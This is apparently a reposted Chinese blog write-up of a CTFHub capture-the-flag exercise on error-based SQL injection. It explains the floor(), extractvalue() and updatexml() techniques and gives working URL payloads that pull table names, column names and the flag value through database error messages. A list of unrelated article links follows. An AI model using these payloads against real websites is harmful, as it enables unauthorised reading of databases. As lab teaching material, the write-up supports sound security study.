博客
关于我
CTFHub_技能树_Web之SQL注入——报错注入(含三种解法)
阅读量:793 次
发布时间:2019-03-25

本文共 2285 字,大约阅读时间需要 7 分钟。

报错注入是一种在Web应用中揭示数据库信息的技术,主要通过利用特定的函数来构造自查错误,进而获取所需数据。本文将详细介绍报错注入的原理及其使用的函数,并通过实际示例展示注入过程。

一、报错注入原理

报错注入运作的核心在于利用某些数据库函数对输入参数进行处理,导致发至数据库的查询语句中包含所需的信息。以下是常用函数的原理:

1. floor()原理

floor()函数用于向下取整。对于报错注入,可以利用该函数获取特定信息。例如,当构造一个查询时,使用floor函数将随机数域与信息数据结合,通过报错信息提取出表名或其他数据库信息。

2. extractvalue()、updatexml()原理

这两个函数主要用于处理XML数据。extractvalue()用于从XML中提取指定路径的数据,而updatexml()则用于修改XML数据,返回修改后的内容。通过将数据库查询嵌入到这些函数的参数中,可以控制报错信息,从而获取所需数据或信息。

二、注入过程示例

Ⅰ、使用floor()

  • 查询表名

    ?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

    该查询尝试获取当前数据库中的表名。floor(rand(0)*2)生成一个随机数域,结合information_schema.tables中表名,通过报错信息提取出表名。

    报错示例:

    Duplicate entry 'flag1' for key 'group_key'

    通过注入过程,可以发现数据库中包含多个表,需要进一步限制查询范围。

  • 查询列名

    ?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)

    该查询针对已知的表名获取列名。通过报错信息,可以查看具体的列是否存在,并提取列名。

  • 查值

    ?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)

    该查询用于从表中获取特定的字段值。通过报错信息,可以获取字段值。

  • Ⅱ、使用extractvalue()

  • 查询表名

    ?id=1 and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 1,1))))

    该查询尝试提取指定路径中的内容。使用0x5c生成反斜杠,结合table_name,形成有效的XPATH路径,提取表名。

    报错示例:

    XPATH syntax error: '\flag'

    通过修正XPATH路径,可以正确提取表名。

  • 查询列名

    ?id=1 and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name="flag"))))

    该查询用于获取指定表的列名。通过构造有效的XPATH路径,提取列名。

  • 查值

    ?id=1 and (extractvalue(1,concat(0x5c,(select flag from flag))))

    该查询用于获取特定字段的值。通过构造有效的XPATH路径,提取字段值。

  • Ⅲ、使用updatexml()

  • 查询表名

    ?id=1 and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1))

    该查询尝试修改XML数据中的内容。通过构造标签和特定路径,通过报错信息获取表名。

    报错示例:

    XPATH syntax error: '~flag~'

    通过修正标签,确保XPATH路径正确,可以交互获取所需信息。

  • 查询列名

    ?id=1 and(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="flag"),0x7e),1))

    该查询用于获取指定表的列名。通过构造有效的标签和XPATH路径,提取列名。

  • 查值

    ?id=1 and(updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))

    该查询用于获取特定字段的值。通过构造有效的标签和XPATH路径,提取字段值。

  • 转载地址:http://gppuk.baihongyu.com/

    你可能感兴趣的文章
    thinkphp 常用SQL执行语句总结
    查看>>
    Oracle:ORA-00911: 无效字符
    查看>>
    Text-to-Image with Diffusion models的巅峰之作:深入解读 DALL·E 2
    查看>>
    TCP基本入门-简单认识一下什么是TCP
    查看>>
    tableviewcell 中使用autolayout自适应高度
    查看>>
    Orcale表被锁
    查看>>
    org.apache.ibatis.exceptions.TooManyResultsException: Expected one result (or null) to be returned
    查看>>
    org.apache.ibatis.type.TypeException: Could not resolve type alias 'xxxx'异常
    查看>>
    org.apache.poi.hssf.util.Region
    查看>>
    org.apache.zookeeper.KeeperException$ConnectionLossException: KeeperErrorCode = ConnectionLoss for /
    查看>>
    org.hibernate.HibernateException: Unable to get the default Bean Validation factory
    查看>>
    org.hibernate.ObjectNotFoundException: No row with the given identifier exists:
    查看>>
    org.springframework.orm.hibernate3.support.OpenSessionInViewFilter
    查看>>
    org.springframework.orm.hibernate3.support.OpenSessionInViewFilter
    查看>>
    org.springframework.web.multipart.MaxUploadSizeExceededException: Maximum upload size exceeded
    查看>>
    org.tinygroup.serviceprocessor-服务处理器
    查看>>
    org/eclipse/jetty/server/Connector : Unsupported major.minor version 52.0
    查看>>
    org/hibernate/validator/internal/engine
    查看>>
    SQL-36 创建一个actor_name表,将actor表中的所有first_name以及last_name导入改表。
    查看>>
    ORM sqlachemy学习
    查看>>